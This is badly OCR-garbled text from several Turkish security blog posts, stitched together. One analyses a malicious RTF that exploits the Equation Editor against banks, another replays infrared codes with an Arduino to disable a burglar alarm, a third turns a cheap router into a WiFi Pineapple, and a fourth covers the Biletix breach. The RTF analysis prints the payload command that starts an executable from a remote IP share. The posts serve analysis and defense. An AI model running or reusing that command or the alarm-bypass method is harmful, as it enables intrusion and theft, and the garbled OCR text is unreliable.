0010 00 34 67 f9 40 00 80 06 00 00 c0D aB ae 80 Ba 44
0020 ea B0 11 75 01 bd 9a cf 9d 1e 00 00 00 Q0 8O 02
0030 20 00 e4 14 00 00 02 04 05 b4 01 03 03 08 01 01
0040 04 02

Metwork 5

&) M File: "C\Users\Mert\AppDatat\Local\Temph.. |Packets: 37 . Displayed: 15 (40,5%) - Dropped: 0 (0,0%) Profile: Default et
| Internet access

Son zamanlarda gergeklestirilen siber saldirilarda zararli RTF dosyalarinin siklikla kullaniliyor olmast sebebiyle bu yazi ile siiphe duyulan
bir RTF dosyasinin hizli bir sekilde nasil analiz edilebilecegine, Swift Changes.rtf dosyasi1 6zelinde yer vermek istedim. Zararli RTF
dosyalarmin kotii emellerini gergeklestirebilmeleri icin OLE nesnelerinden faydalandiklarini bildigimiz i¢in Didier Stevens tarafindan
gelistirilen RTFDump araci ile kisa bir siirede zararli koda ulasmak miimkiin olabiliyor.

rtfdump aracina -aE parametresi vererek RTF igerigini ASCII olarak goriintiiledigimde ilgili OLE nesnelerini bulmak samanlikla igne
aramaktan farksiz oldugu i¢in -f O parametresi ile sadece OLE nesnelerini listeledim. Ardindan 7, 13, 19 ve 25 dizilerine tek tek -s ve -H
(hex ¢iktis1) parametreleri ile baktigimda 7. dizide istismar kodu i¢ine gdémiilii olan ip adresine ve Palo Alto Networks un yazisina da konu
olan WinExec fonksiyonunun adresine (0x430c12) statik olarak ulagtim.
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https://en.wikipedia.org/wiki/Rich_Text_Format
https://en.wikipedia.org/wiki/Object_Linking_and_Embedding
https://twitter.com/DidierStevens
https://blog.didierstevens.com/2017/12/10/update-rtfdump-py-version-0-0-6/

Ptfdumﬁ_UB_B_S)python rtfdump.py —aE "Swift changes.ptf"
c= 6 p=ABAAABAA 1= 31888 h= 38922 h= A u=

1 Level

38 srtfl

2 Level 2 c=
~fontthl

p=00806A3 4 38 u=

c= p=08880083d
p=888606865d

p=0080608h4

u=

Acrobat CE n=

i : “®¥wgenerator
Reader DC Level 2 =
~object

Level 3 o=

u=
p=0006800cd u=
p=000006f 5
p=000801ch8
p=00061ccA

p=00801cch

~*wohjclass Equation

Level 3 c= u=

s*vohjdata
Level 3 c=
sresult

Level 4 c=
Spict

Level &5 c=
¥\ picprop
Level 2 c=
~object
Level 3 c=

p=00001faf
~*vohjelass Equation
Level 3 c=

p=088081fd7
¥ ohjdata

1
]
a
3
a
.3
a
1 u=
1

a

3

a

-3

a

Level 3 c= 1 p=ABAA3ILY a

1

a

3

a

.3

a

1

1

]

3

a

.3

]

1

1

u=
i8
11
12
13
14
15
16
1?7
18
19
28
21
22
23
24

u=
p=00001f76 u=
u=
u=
u=
! u=
“pict

Level &5 c=
¥\ picprop

Level 4 c=
p=088083hal
p=00803e78

u=
c= u=
p=08803e91
p=088083eh?
p=00805a7c
p=0880R5a84

p=00AA5a8a

o=
s*vohjclass Eguation
Level c=
¥ ohjdata
Level 3 c=
sresult
Level 4 3
Spict
Level 5
¥\ picprop
Level 2 c=
~ohject
Level 3 c=
~*wohjclass Equation
25 Level 3 c=
¥ ohjdata
26 Level 3 c=
sresult
27 c=

u=
u=
u=
u=
u=
p=A0AA5d5a u=
p=088085473

p=088085d4%h

u=

u=
p=0080775e
p=0080A7766

5

5

1

?

?

5]

a

a

a

?

?

a

8 “result

p=08803ha2

8

a

?

?

a

]

a

a

?

7

a

u=

5]

=

Swift
changes.rtf
sUserssHerts\Desktopsrtfdump UB_B_S5>python rtfdump.py f O] "Swift changeg.rtf”
Level 3 c= 8 p=AAAAABES 1= 7186 h= 7H92 b= o u=
A hobjdata
Level 3 c= 8 p=AAAA1£fd7? 1= 7186 h= 7892 b= u=
B [w*ohjdata
[] Level 3 c= B p=BBAA3eb? 1= 7186 h= 7892 b= u=
Acrobat A n*objdata |
Reader DC Level 3 c= 8 p=AAAA5d?h 1= 7186 h= 7892 b= I u=
L=zitl 1N @ ohjdata :

C:\Usefs\Hert\Desktop\rtfdump_UB_B_S)




Acrobat
Reader DC

Swift
changes.rtf

)

| &

Acrobat
Reader DC

ic
t

AERAARRAE: 61

HeAaRaA16: 74

AEEAAR268: Ac
AERAAA3A: B8
BERAAR46: FF
AARAARSA: 68
AARAAR6A: B8
AERAARYA: B8
AARAAREE: FF
AARAAAYA: FF
BARAABAA: FF
HAAAAABA: FF
BERAAACA: FF
AARAARDA: FF
MARAAREA: FF
AARAAAFA: FF

PAPAA16AE: FF
i0aAAA11@: FF

BARAA128: FF
AAAAA138: FF
BARAA148: FF
PEEAA158: FF
BARAA16A: FF
AARAA178: FF
PARAA18A: FF
AERAA198: FF
BARAA1AA: FF
AARAA1BA: FF
BARAA1CA: FF
MAeAA1DA: FF
BAAAALIEA: FF
AARAA1FA: FF
AARAA208: FF
PARAA218: FF
AARAA228: FF
AARAA238: FF
MARAA248: FF
BABAA258: FF
AARAA268: FF
AARAA27A: FF
AAOAA286: FF
AARAA298: FF
AARAA2AA: FF
PARAA2BA: FF
BARAA2CA: FF
BARAA2DA: FF
AABAA2EA: FF
AARAA2FA: FF
AARAA3AA: FF
WAAAA31@: FF
PARAA328: FF

PABAAB6A: BA

- - -EZcmd sc
start “\138.68.2
34.128~w\w.exe &
AAAAA. .C
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Dinamik kod analizi ile de dogrulamak igin ise dncelikle Windows Debugging Tools ile gelen Global Flags Editor iizerinde bir ayarlama
yapmam gerekti. Swift Changes.rtf dosyas1 Microsoft Office Word ile agildiktan sonra Microsoft Equation Editor bilesenine ait eqnedt32.exe
programini istismar ettigi icin eqnedt32.exe programi agilir agilmaz x64dbg hata ayiklayicinin devreye girecegi sekilde ayarladim. Winexec
fonksiyonun adresine kesme noktasi koyup adim adim geriye gidip fonksiyon ¢ikislarina da kesme noktas: koyarak kisa siirede ret2libc
yonteminden faydalanan istismar koduna ulagmis oldum.

-

/ » Swift changes

Organize » Include in library = Share with « New folder

3 Favorites
B Desktop
& Downloads

1= Recent Places

& Libraries
@ Documents
dﬁ Music
Pictures
B videos

- Computer
&, Local Disk (C)

?! Metwork

-

7 S
Name Global Flags =

@ Swift changes.rif

System Hegistryl Kemel Flags  Image File |Si|ent Process Exit I Assert Fittering

mage: (TAB to refresh) [ EQNEDT3Z EXE Launch |
[~ Stop on exception [~ Disable stack extension
[~ Show loader snaps

[~ Enable heap tail checking

[~ Enable heap free checking

[~ Enable heap parameter checking
[~ Enable heap validation on call

[~ Enable system critical breaks
[~ Disable heap coalesce on free

[~ Enable exception ogging

[ Enable application verifier
[~ Enable page heap

[” Enable heap tagging
[ Create user mode stack trace database [~ Early critical section event creation
[~ Stop on user mode exception

[~ Disable protected DLL verification
[~ Ignore asserts

[ Enable heap tagging by DLL

[” Load image using large pages if possible
¥ Debugger: |\pplicatinns\snapshut_201EH2—07_22—49\re|ease\x32\x32dbg.exe
[~ Stack Backtrace: (Megs)

ok | canced | epn |

ret2libc (visual)

Higher memary address

Address of
“hinfsh"

Address of

exit ()

EIP overwrite (RET)

Woib RS |

N
:

S

Lowsr memary address
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https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/gflags
https://x64dbg.com/
https://en.wikipedia.org/wiki/Return-to-libc_attack

% 32dbg

File WView Debug Trace Plugine Favourites Options Help Dec 25 2017
C9E =0 ¥ e§ tau B2 BB B9
ﬁCPU | @Graph | | . Log | 't Motes | #® Breakpoints | 88 Memory Map | |:l» Call Stack | &7 SEH 12| Script | %}Symbols | <2 source 4 References | “WT}‘%E

@ 00411856 F3 AS repe movsd S
o[ 00411858 88 Ca mov ecx,eax “ |lbtidecEEY J
e 0041185 g3 E1 03 and ecx,z EAX 00000001 i
|| 00411850 F3 A4 repe movsh EBX 00000006
. B8 01 00 00 Ofmov eax,1 SEl e
. ~ E9 07 00 00 0f jmp egnedt3z.411870 i GGTRCiER A R D
. 33 CO XOr edx,eax & i
. v E9 0D 00 00 O jmp egnedt32.411870 T EEE aesis
L SF pop edi Il ESP 0018F1D0
L 5E pop esi ESI 0018F7DC
. 5B pop ebx EDI ~ OO18F380
] c9 Teave
E——e B ret EIP 004115874 egnedt32. 00411874
. 1 push ebp
. 8B EC mov ebp, esp EFLAGS 00000344
. 83 EC 08 sub esp, & SR RE T A A
- gé pusn e OF 0 SFO DF O
. push esi
= i push =di CFO TF1 IF 1
. 8B 45 0OC mov eax,dword ptr ss:[febp+Cl
. C6& 00 00 mov byte ptr ds:[eax],0 LastError 00000000 (ERROR_SUCCESS)
- 8B 45 0OC mov eax,dword ptr ss:[lebp+CJ LastsStatus 00000000 (STATUS_SUCCESS)
. 50 push eax
. 83 7D 08 01 cmp dword ptr ss:|lebp+sll,1 G5 002B FS 0053
. 1B CO sbb eax,eax ES 002E DS 002B
- 40 inc eax €5 0023 55 002B
. oC 10 or al,io
b 302 AR SSLK X87r0 00000000000000000000 STO Empty 0.00
,
5 ey biE hite o x87r1 00000000000000000000 ST1 Empty 0.00| |
. 6A 00 push 0 = = = = |
L]

eaan Rt ,  |[Defeult (stdcal) |5 [ [0 Unlodked
: [esp+4] 0018F350

1

2: [esp+8] 00000000

3: [esp+C] O0O018F1EC "Berlin Sans FE Demi™
4: [esp+10] 0018FSED

5

1

.text:00411874 eqnedt3z.exe:$11874 #11574 esp+14] 0018F7DC

3% Dump 1 Y Dump 2 44 Dump 3 444 Dump 4 | 44 Dump 5 | B watch 1 | Ix=] Locals | 2’ Eﬁ.r@i
P

52

8

c
Address Hex ASCIT 9 Winexec()
0018F350 63 6D 64 20|2F 63 20 73|74 61 72 74|20 5C 5C 21 BEmd /c start :
0018F360 33 38 2E 36|38 2E 32 33|34 2E 31 32(38 5C 77 5C 38.68.234.12 c  |a1114141
0018F370 77 2E 65 78|65 20 26 41|41 41 41 41[12 0C 43 00 £ e
0018F380 00 00 00 00|7C OC 34 0B|43 1E 60 68|18 05 A8 E8 ki Sgnedisz. 004312
0018F330 ES 29 5A 00(18 00 00 00|EZ AC 5B 00|20 00 58 00 T
0018F3A0 08 27 5D 00|58 F4 18 00|53 B9 &1 75|60 E2 59 00 8 T :
0D18F3E0 00 00 00 00|FF 07 0D 00|A4 E4 18 00 (8D 3 S = Berlin:sans EEIDClES
0018F3CO AB AD SR 00|7F 07 00 O0|Ad EX 00|02 2& 95 77 5 UIEEIBC
0018F3D0 06 34 93 77|BZ 5B 40 7G|AD 16 D6 75|00 0D 00 0O [ hasine
0018F3ED D0 00 58 00|50 D1 58 00|01 00 OO OO|00 0O 00 OO S el S
0018F3F0 48 3F £8 00|FF FF FF FF ED ES 18 00 2 e g

4| i | 3

(cmd /c start...)

Command:

| ﬁa_LEEd |Du'rp: 0018F350 -> 0018F350 (0x00000001 bytes)

Sonug olarak siber saldiri girisimi, hazirlanan e-postanin tahminimce aceleye gelmesi (To: kisminda 952 kisinin olmasi, ileti govdesinde
metin olmamasi vs.) ve sifirinci giin zafiyeti yerine genele duyurulan bir istismar kodunun (bu sayede giivenlik iireticileri imzalarini hizlica
giincelleyebildiler.) kullanilmas1 sayesinde bildigim kadarryla Tiirkiye’deki herhangi bir bankada basariya ulasamadi. Istismar kodunun
genele agik olarak yaymlanmasindan 1 giin sonra bankalarimiza gergeklestirilen bu siber saldir1 bankalarimizi, finans kurumlarimizi hedef
alan gruplarin ne kadar hizli bir sekilde organize olup, hareket etmesi gelecekte benzer girisimlere, dikkat edilmesi gereken hususlara dair
o6nemli ipuglari veriyor. Yazima son noktay1 koymadan 6nce bu ve benzeri siber saldir1 girisimlerinin basariya ulasmasini zorlagtirma adina
finans kurumlarinin, i¢ agdan internete dogru WebDAYV kullanimini engellemelerinde fayda olacagina inantyorum.

Bir sonraki yazida gériismek dilegiyle herkese giivenli giinler dilerim.

Not: Kurum i¢inden internete dogru WebDAV baglantisini kontrol etmek i¢in Explorer iizerinden \\live.sysinternals.com adresine gitmeyi
deneyebilirsiniz.

The post MetaStrike Operasyonu appeared first on Siber Giivenlik Giinliigi.

Hirsiz Dostu Alarm

By Mert SARICA on June 1st, 2018

Kimi zaman caydirici olmalartyla kimi zaman da hayat kurtarmalartyla hirsizlarin bas diismani olan alarmlar nasil olur da hirsiz dostu
olabilirler ? Yine kendime yeni bir yazi konusu ¢ikarmak amaciyla merakli gézlerle magazalarin reyonlarina baktigim bir giinde, iki farkli
magazadaki benzer bir hirsiz alarmi dikkatimi ¢ekti. Alarmlarin kutularina baktigimda her ikisinin de kizilotesi (IR) kablosuz baglanti
teknolojisinden faydalandigi anlasiliyordu.
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http://www.mertsarica.com./\live.sysinternals.com
http://www.mertsarica.com/metastrike-operasyonu/
http://www.mertsarica.com
http://www.mertsarica.com/hirsiz-dostu-alarm/
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=¥ Hareket sensdrlii alarm

« alarm, davetsiz misafirlere karsi
uyanr ve korkutur

« alarmi aktif ve deaktif etmek icin
2 adet kiziltesi kumanda dahil

« pil dahil

« ses seviyesi: yaklagik 105dB (Y]

« erisim mesafesi: 90° agida
yaklasik 6 metre

« bilyeli bafsal ile esnek techizat

« girselveigitsel sinyal

« Batteriefach
« battery compartment

=2
o

S

e\

+ inkl.2 Fernbedienungen
< 2 remote controls included

Cogunlukla TV, klima vb. kumandalar1 ile hayatimizda yer alan, benim gibi lise yillarinda arkadaslar ile tenefiislerde Snake oyununu
oynayanlar icin ise farkli bir yeri olan bu teknolojinin alarmlarda kullanilmasi beni oldukga sasirtti. Sagirtmasinin sebebi ise Arduinooo
baslikli yazimda oldugu gibi IR’de kullanilan sinyallerin/kodlarin kolay bir sekilde kopyalanabilmesiydi.

Bildiginiz iizere evdeki uydu alicinizin (misal Digitiirk) kumandasi birgiin bozulur ise ayni1 isleve, dis goriiniise sahip bir benzerini (universal
kumanda) Kadikdy’den 10-20 TL karsiliginda kolay bir sekilde temin edebiliyorsunuz. Bunun kolay olmasinin sebebi ise pek tabii yukarda
bahsettigim iizere IR sinyallerini/kodlarinin kolay bir sekilde kopyalanabilir olmasidir.
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https://www.youtube.com/watch?v=vBUDRnSAXJw
http://www.mertsarica.com/arduinooo/

© o ©

KANALLAR BiL ALTYAZI VFORMAT

© 0
e

RC-004DGT

Normal sartlarda RF diinyasinda, giivenli bir sekilde haberlesen alarm, kilit sistemlerinde (misal araba kilitleri) degisken (rolling) kod
kullanildigi i¢in bir sinyali kopyaladiktan sonra sonsuz defa o kilidi, alarm1 agmak i¢in kullanamaz (replay), satin aldiginiz bir kumanda ile
diger kilitleri oldugu gibi agamaz, alarmlar1 devre dis1 birakamazsiniz. Giivenli bir sekilde haberlesmeyenlerde ise RF Diinyasi ve Giivenlik
baslikli blog yazimda oldugu gibi biraz ugrasmaniz gerekebilir.

IR diinyasinda ise degisken kodlar kullanilmadigi igin akla ilk gelen soru “bir alarm ne kadar giivenli olabilir?” oluyor. IR teknolojisinden
yola ¢ikarak bu soruya yanit bulmak i¢in ilk olarak ayni alarmdan iki tane alirsam birinin kumandasi ile digerinin alarmini devre dis1
birakmak miimkiin olabilir mi sorusuna yanit aramaya basladim. Kutusundan ¢ikardigim ikinci alarmin kumandasi ile birinci alarmi devre
dis1 birakmam, kutusunu zor agmam sebebiyle en fazla 2 dakika siirdii. :)
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https://en.wikipedia.org/wiki/Rolling_code
http://www.mertsarica.com/rf-dunyasi-ve-guvenlik/
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Hirsizimiz high-tech bir hirsiz olsaydi, Arduino ile bunu gergeklestirmesi pratikte ne kadar zor olurdu sorusuna yanit aradigimda ise, IR alict
ve verici ile IR kodlarini kopyalamak ve daha sonra hedef alictya géondermek i¢in IRLib2 isimli Arduino kiitiiphanesinden faydalanarak kisa
bir siirede bu alarmi devre dig1 birakabilecegini de 6grenmis oldum.
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https://en.wikipedia.org/wiki/High_tech
https://github.com/cyborg5/IRLib2

2
-

2 Arduino Sens
= -
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@ COME (Arduine/ Ganine Una)

rawRecy =
ke |
sate the
|#desize maN_DATA LEN 2
; e Juinzié_r sewbaza| A
: : 44668, 100
' vict |
e |22 & cut-ama-paste into the
IRrecvECI myReceiver(2) ;//pin nusber for i‘*’“i“" i
|#desine BAN_DATA_LEN 2
|stnc1e e rawdatal Enj=(
50546, 10
|22 & cac-azd-pase sate the
destamared locaticn in Tawd
AM_TATA_LEN]=(
the following lines into the
|sesigmanes location in rawsesd.ins
|
|#aezize pan_pars_Les 2
|uins1é_t rawbata [RAN_DATA_LEN]=[
| 50342, 100
[Po & cuc-asmd-paste of che following lises faco the
|sesigmaned locatics in rawdesd.ino
|
|#desize RaN_oATA LEN 2
ic:n!'.s_L zewDats [RAR_CATA LEW]=[
| 47950, 100
|00 & cut-and-paste of the following lines into the
|destgmaced locarion in reuSesd.tna
|#3e212e Raw_paza 1ew 2
Juinsie s rawDats [AAN_DATA_LEN]=(
22698, 100037
] Autoscret Molreendng .| %6M0bad

&3 COM2 (Arduine/Genuine Una)
|

Every time you press a key is & serial monivor we will send.
Sent signall.
Sent signall.
Sent signall.

aend.")):

tor we will

= RAWL_DATA_LEN 4
1nti6_t rewDetal{RANL_DATA_LEN]={
saee2, 1210, 208, 1o0cff

BAWZ_DATA_LEN 2
. rawData2 (RAKZ_DATA_LEN]={
57530, 1000};

#define RAWI_DATA_LEN 2
© rewDotod{RANI_DATA_LEN]«{

47186, 1000}

F{"Sent sigmall. '|_| -

awData2, RAK2_IATA_LEN,

F{"Sent 2ignall.”}):

d{rawDatad, RAW3_DATA_LEN, 36);//F
1a{F{"Senc aignald.”}):

Sonug olarak piyasada buldugunuz her alarmin giivenliginizi saglayacagina korii koriine inanip satin almadan 6nce muhakkak arka planda
kullandig: teknoloji ile ilgili bilgi edinmeye bakin. Bir sonraki yazida goriismek dilegiyle herkese glivenli giinler dilerim.

The post Hirsiz Dostu Alarm appeared first on Siber Giivenlik Giinliigi.

Hayaller Pineapple Hayatlar GL-AR150

By Mert SARICA on July 2nd, 2018

Evlerimiz basta olmak iizere hemen hemen artik hayatin her alaninda kullandigimiz, karsilastigimiz kablosuz internet (wifi) hizmetleri
bir o kadar da art niyetli kisilerin ilgisini ¢cekmektedir. Kahvenizi yudumlayip haber okumak igin siklikla ugradiginiz kafelerden birinin
iicretsiz kablosuz internet hizmetine baglanmaya ¢alistiginizda, bu defa art niyetli kisinin cihazina (Evil Pi yazisi ilginizi ¢ekebilir) baglaniyor
olabilirsiniz. Her sene katilmaktan, izlemekten biiyiik bir keyif aldigimiz IstSec Siber Giivenlik Konferansi‘nda izleyicilerden birinin amaci
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http://www.mertsarica.com/hirsiz-dostu-alarm/
http://www.mertsarica.com
http://www.mertsarica.com/hayaller-pineapple-hayatlar-gl-ar150/
http://www.mertsarica.com/evil-pi/
http://www.istsec.org/

asagida oldugu gibi (2017 yilindaki konferansta ¢ekilmistir) sizinkinden farkli olabilir. :) Agina diisiirdiigii kablosuz internet kullanicilar
iizerinden i¢ aga sizmak i¢in bilgi toplamaya ¢aligan sizma testi uzmaninin amaci ise ¢ok ¢ok daha farkli olabilir.
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Mevzu bahis sizma testi oldugunda eminim bir ¢ogumuzun aklina gelecek ilk iiriin Wifi Pineapple olacaktir. Tabii aklimiza geldigi
gibi elimize gelse dedigimizde de, yliksek fiyati sebebiyle uzun yillardir siber giivenlik aragtirmacilari, meraklilar1 olarak hayallerimizi
siislemekten 6teye gidemiyordu. Giinlerden bir giin Twitter takipg¢ilerim arasinda yer alan Dogukan UCAK, Twitter lizerinden asagidaki
mesaj1 gonderdikten sonra Wifi Pineapple alamayanlar i¢in hayalleri ger¢eklestirmek i¢in ise koyulmaya karar verdim.

#v B0 ¢l %768 15:40
<« Tweet
dogukan ucak
@dogukanuck
25%'a wifi pineapple :D

baya uygun @MertSARICA
securityaddicted.com/
2016/11/17/wea... nasil daha
once gormemisim

16:18 - 24 Haz 17

2 Retweet 6 Begeni

Q L &

Ali Riza Kartalkaya @lotusex... - 19sa

ﬁ @dogukanuck ve @MertSARICA adh
kullanicilara yanit olarak
youtube.com/watch?v=-yhT9i...

Q n Q1 &

Yanitinl Tweetle

Mesaja konu olan web sayfasini ziyaret ettikten sonra ilk is olarak DealeXtreme sitesinden yaklasik 75 TL ye GL-AR150 model mini router
satin almaya karar verdim.

ALL DEPARTMENTS { New Arrivals $0.99 Top Sellers Extreme Deals Community

DX » Consumer Electronics = Smart Devices = Home Smart Devices

90SMART GL-AR150 Mini Smart Router w/ Openwrt 16MB Flash
- White

by 90SMART
{ 0 reviews) SKU: 416150

List Price. FRy78-65

ric. TRY~ 79,71
I e shipping: 7] Free Shipping | Topkey
"

Rt )

Free Shipping With Tracking Number

o ;
u" L Dispatch: Ships within 7-10 business days
Form Color: White-POE
&
Quantity: 1 1 apDTOCART = NP
100% Satisfaction guaranteed or Price Match 1 Report Error A
- i o | N 100/ vour money back $ .

1| E s o - ¥ |
. \ '_:|
5

Product Details Reviews Discussions

aoEEoEn
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https://hakshop.com/pages/hak5-gear
https://twitter.com/dogukanuck
https://www.securityaddicted.com/2016/11/17/weaponizing-gl-inet-gl-ar150/
http://www.dx.com/
https://www.gl-inet.com/ar150/

150M Smart Router
- Model: GL-AR150
Power: 5V-1A
IP:192.168.8.1

- SSID: GL-AR150-d0b

Jl DDNS: bo10d0b.gl-inet com S

- oo )
° e o
e ® o o ® o
e

GL-AR150 elime ulastiktan sonra ilgili GitHub adresinden GL-AR150 igin 6zel olarak olusturulmus WiFi Pineapple Nanodonanim
yazilimini (firmware) indirip kurduktan ve usb baglanti noktasina WiFi sizma testlerinin vazgecilmezi olan TL-WN722N adaptdriinii

bagladiktan sonra WiFi aglarini denetlemek i¢in niimde bir engel kalmamis oldu.
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https://github.com/SecurityAddicted/pineapple-ar150
https://www.wifipineapple.com/pages/nano
https://github.com/SecurityAddicted/pineapple-ar150/blob/master/wifi-pineapple-2.0.2-gl-ar150-sysupgrade.bin?raw=true
https://github.com/SecurityAddicted/pineapple-ar150/blob/master/wifi-pineapple-2.0.2-gl-ar150-sysupgrade.bin?raw=true
https://www.tp-link.com/us/download/TL-WN722N.html

= Firmware update x

— C ) |® 19216811

) Hack4 Career. Inforr  [[) Linkedin W Mert SARICA (merts:

M Inbox - mertsaricad a Login | Splunk

FIRMWARE UPDATE

You are going to update firmware on the device.
Flease, choose file from your local hard drive and click Update firmware button.

Choose File | No file chosen

| l;lpilale"ﬁrmwars
WARNINGS

= do not power off the device during update
= if everything goes well, the device will restart

= you can upload whatever you want, so be sure that you choose proper firmware image for your davice

You can find more information about this project on GitHub
't Update in progress x
i C @ 19216811

(@) Hack4 Career. Inforr [ Linkedin W Mert SARICA (merts: M Inbox - mertsaricad Login | Splunk

UPDATE IN PROGRESS

Your file was full

ploaded! Update is in progress and you should wait for automatic reset of the device
Update time depends on image size and may take up to a few minutes. You can close this page.

s

You can find more information about this project on GitHub
@ WiFi Pineapple

R
& C O | © 192.168.1.1:1471/#1/modules/Setuy
) Hack 4 Career. Infor

x

[ Linkedin W Mert SARICA (merts: M Inbox - mert.saricaG Login | Splunk

Welcome

Get Started
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WiFi Pineapple Nano yiikli GL-AR150’nin dogru bir sekilde calisip ¢alismadigini kontrol etmek igin ise bu blog yazisini yazarken
konuslandigim Starbucks’ta, basit bir test yapmaya karar verdim. 38 dakikalik bir testin sonucunda, GL-AR150’nin etrafta tespit ettigi tim
WiFi erisim noktalarini (access point, SSID) basariyla ¢oklayabildigini teyit edebildim.
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Timestamp

Feb 10 11:05:43

Feb 10 11:05:47

Feb 10 11:05:51

Feb 10 11:06:06

Feb 10 11:06:19

Feb 10 11:06:28

Feb 10 11:06:30

0 hours, 38 minutes

UPTIME

34% CPUUSAGE

0

CLIENTS CONNECTED

36

SSIDS IN POOL

7 SSIDS ADDED THIS SESSION

Event

Probe Request
Probe Request
Probe Request
Probe Request
Probe Request

Probe Request

Probe Request

ssID
VINNWIFi_833345
WATERGARDEN
MASALBAHCE
WiSpotter
WiSpotter
VINNWIFi_833345

NETS3
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Testler esnasinda “ucuz etin yahnisi yavan olur” soziinii hatirlatacak bir tecriibem olmamais olsa da, zaman i¢inde giivenlik aragtirmalarinda
kullandik¢a bunu ¢ok daha net gérecegim. Bu yazinin Wifi Pineapple Nano alacak biit¢esi olmayan siber giivenlik arastirmacilari, meraklilari
icin faydali olacagini inanarak, bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Hayaller Pineapple Hayatlar GL-AR150 appeared first on Siber Giivenlik Glinliigii.

Biletix Vakasi

By Mert SARICA on August 1st, 2018

27 Haziran 2018 tarihinde Biletix firmasi, sosyal medya hesaplari ve web sitesi iizerinden bir giivenlik duyurusu yapti. Bu duyuruda, 23
Haziran 2018 Cumartesi giinii Ticketmaster Ingiltere firmasina dis kaynakli hizmet sunan Inbenta Technologies tarafindan saglanan ve
miisteri destek hizmetleri i¢in kullanilan iiriin lizerinde k&tii amagh bir yazilimi tespit edildigi yer aliyordu. Inbenta’nin bu iirliniiniin tim
Ticketmaster International web sitelerinde (Tiirkiye de dahil) kullanilmis olmasi sebebiyle de bazi miisterilerinin kisisel verilerine ve 6deme
bilgilerine, tanimlanamamus ii¢iincii kisiler tarafindan izinsiz olarak erisilmis olabilecegi belirtilmis ve ayrica yaptiklart incelemelere gore,
olaydan sadece bilet alma girisiminde bulunan veya bilet satin almis olan Ingiltere tiiketicilerinin bir kisminin etkilenmis olabilecegini tespit
ettikleri belirtilmisti. Son olarak da Ingiltere’deki miisterilerinden Subat 2018 ve 23 Haziran 2018 tarihleri arasinda ve diger uluslararasi
miisterilerinden Eyliil 2017 ila 23 Haziran 2018 tarihleri arasinda bilet almis veya almayi1 denemis olanlarin bu durumdan etkilenmis
olabilecekleri soyleniyordu.

[ S KAVNAK SERVIS S4C % W - O X

C (0 @ Secure | hiips/guveniikbietixcom 4 0@0 800

) Hackd Career bnfee  [§] Unkedin W Mert SARICA [mert: o] inbos - mertsarics Cther bosirmars

DI$ KAYNAK SERVIS SAGLAYICI SEBEBIYLE
OLUSAN VERi GUVENLIGI OLAYI HAKKINDA
BILGILENDIRME

Ticketmaster bu sayfoy, Inbenta’nin sebep oldugu olasi kigisel veri sizintis: sebebiyle
magduriyet yojayabilecek migteriler bilgilendirmek igin hazirlamigtir, Ticketmaster igin
Migterilerin kigisel verilerinin emniyeti ve glivenligi ncelikli temel husustur. Bilinmeyen
kigilerce, kijisel verilere olasi izinsiz erigim tespit edildigi anda Ticketmaster, migterilerind
korumak dzere oninda gerekli tedbirleri devreye almagtir.

Ne Oldu?

Eger bizden konuyla ilgili 6zel bir e-posto almoadiysaniz, yoptigimiz arogtwmalar sonucu bu durumdan
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http://www.mertsarica.com/hayaller-pineapple-hayatlar-gl-ar150/
http://www.mertsarica.com
http://www.mertsarica.com/biletix-vakasi/
https://twitter.com/Biletix/status/1012053476405317632
https://guvenlik.biletix.com/
https://www.ticketmaster.co.uk/
https://www.inbenta.com/en/

[} o cavnax sERVIS 840 x W% [ 8 x

. C () @ Secure | nups/security bileticom v4 @@ 0 {0
) Hackd Carver i [Bf Linkedin W Mert SARICA imert: M inbou - mertarica Otk Enoimarks

SIKGA SORULAN SORULAR

Sifremi yenilemek igin ne yapmalym?
Hesabinza tekrar ging yapmak istedideruzde. bher zamanks gibs ging yap butonuna bosin ve giremi unuttum hinkine

k.

Hangi Glkeler etkilendi?
Yoptigwmiz incelemelere gare, claydan sadece biet alma gingiminde bulunan veya bilet satin alme olan Ingiltere

W tespit o Onlem olarok, aynca tum Ticketmaster International

nglerinde gihelerni yendemeler: gerekti konusunda bilgdendirryoruz

Kuzey Amenka'doks mugtenlenmaz bu durumdan sthilenmemagtr,

Bu nasid eldu?
23 Haziran 2018 Cumartesi gund Ticketmaster ingiltere. firmamiza di kaynakh hizmet sunan Inbenta Technologies

tarafindan sojlonan ve mugten destek hizmetler ign kullandan urun uz

nce gab: amagh bir

Blinmeyen kgilerce, kigisel

Burlegsk Krallk'tak mugterilennan verilerni bilnmeyen 1. kigilere aktardi§uni tespit etmi

weribere olas: izinsiz srigim tespet sdidii anda Ticketmaster, bu hizmeti tam Glkelerde deve dip birokmigtr,

Inbanta’'nin bu urununun tom Ticketmaster International web sitelernde kullandmey clmasi sebebiyle, ban

mugterdernmizm larak

50l verilerne ve odeme bilgilerme, tanmianamamig uguncu kiplher tarafindan zns:

erigilmig clabilir. Adh ve guvenlik uzman ekiplenmiz bu olayin sebeplerni aragurmak uzere durmaksizin gahgmaya

devam etmektedrler
Hangi bilgilere erigilmiy olabilir?
iznsiz englmig venler arasinda 1sim, odres, e-posta odres:, telefon numarasi. odema bilgilen ve Biletix hesap bilgden

olabibr

Etkilenen Glkeler hangileridir?

Inbenta sens: Tchetmaster Internationa ketmaster Ingdtere, GETMEIN' ve Ticketweb sstelernde hizmet

sodlomaktaydi. Bu yuzden tum olou stkilenmigy mugterlerimize bdgi veryoruz. Kuzey Amerika'doki mugterilenmiz
stkilenmemigti
Bu gimi nasil ¥ gim?

p
Hesap bidirilerinizi, herhangi bir sahtekarkk veyn kimkk hirsizkd: gisphesine karg tokip stmenizi tavsiye ederiz. Endige

duymansz veya hesobinzda herhang bir gupheh hareket olmos durumunda bankaniz ile letipme geginiz

Tedbir amagh olarok, tum mugtenlenmain Bletix hesaplanng br sonrak gnglennde pifrelenm yerdemelen

gerokecekts

W Bdetin Twitterce Voo - 3 W) 4 W - 0 X
s G (0 | @ Secure | hups//witter.com, L *4 0D @Ha
) Hackd Coreer bfe:  [Bf Linkesin W Mert SARICA [merts o] inbow - mertusics Otk Enoimarks

| Bikﬁl. Takip et
Yakin zamanda gergeklesen veri giivenligi
olay hakkinda konuya &zel web sitesi
hazirladik.

Liutfen tiklayin -->

Di§ KAYNAK SERVIS SAGLAYICI SEBEBIYLE OLUSAN VE...
Ticketmaster bu saytay!, inbenta nn sebep oldufu olas: kgisel
ven smtis: sebebeyle magduriyet yagayabecek mustenier
